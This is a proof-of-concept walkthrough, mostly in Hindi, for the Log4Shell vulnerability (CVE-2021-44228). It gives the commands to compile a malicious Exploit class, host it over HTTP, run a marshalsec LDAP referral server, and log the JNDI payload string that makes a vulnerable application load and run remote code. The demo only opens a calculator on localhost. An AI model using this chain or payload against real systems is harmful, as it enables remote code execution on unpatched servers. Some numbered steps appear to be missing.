
Proof-of-concept for Log4Shell (CVE-2021-44228) demonstrating JNDI-based remote code execution via LDAP and HTTP servers.
Exploit.java फ़ाइल को किसी अलग फ़ोल्डर में ले जाएँ। जैसे मेरे मामले में मैंने होम डायरेक्टरी के अंदर rce नामक एक फ़ोल्डर बनाया है। /home/coldfusionx/rce
Exploit.java पर एक नज़र डालें
यहाँ आप रिमोट कोड को कुछ भी बदल सकते हैं, इस मामले में यह ubuntu मशीन पर gnome-calculator पॉप अप करेगा।
javac Exploit.java का उपयोग करके Exploit.java को कंपाइल करना होगा, एक बार सफलतापूर्वक कंपाइल हो जाने पर हमें एक नई फ़ाइल Exploit.class बनती हुई दिखनी चाहिए।
Exploit.class को होस्ट करने के लिए python3 -m http.server 8888 का उपयोग करके एक python http सर्वर शुरू करें, वैकल्पिक रूप से आप कमांड php -S 127.0.0.1:8888 का उपयोग करके php सर्वर का भी उपयोग कर सकते हैं।

Add Configuration पर क्लिक करें
1. `Application` चुनें

2. मुख्य क्लास चुनें

3. JDK चुनें और apply करें।

4. आपको Log4j Applicaton बना हुआ दिखना चाहिए, चलाने के लिए तैयार।

marshasecjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit" चलाएँ, यहाँ 127.0.0.1:8888 वह python सर्वर है जो Exploit.class होस्ट कर रहा है इसलिए हम /#Exploit निर्दिष्ट करते हैं
चरण 9 : अपनी आवश्यकता के अनुसार log4j.java में JNDI पेलोड संपादित करें, logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
इस मामले में हम रिमोट क्लास Exploit लोड कर रहे हैं, LDAP रेफरर सर्वर अनुरोध को हमारे python सर्वर पर रीडायरेक्ट करेगा जो दुर्भावनापूर्ण Exploit क्लास होस्ट कर रहा है।
चरण 10 : Log4j चलाएँ, सफल रन पर आपको gnome कैलकुलेटर पॉप अप होता हुआ दिखना चाहिए।
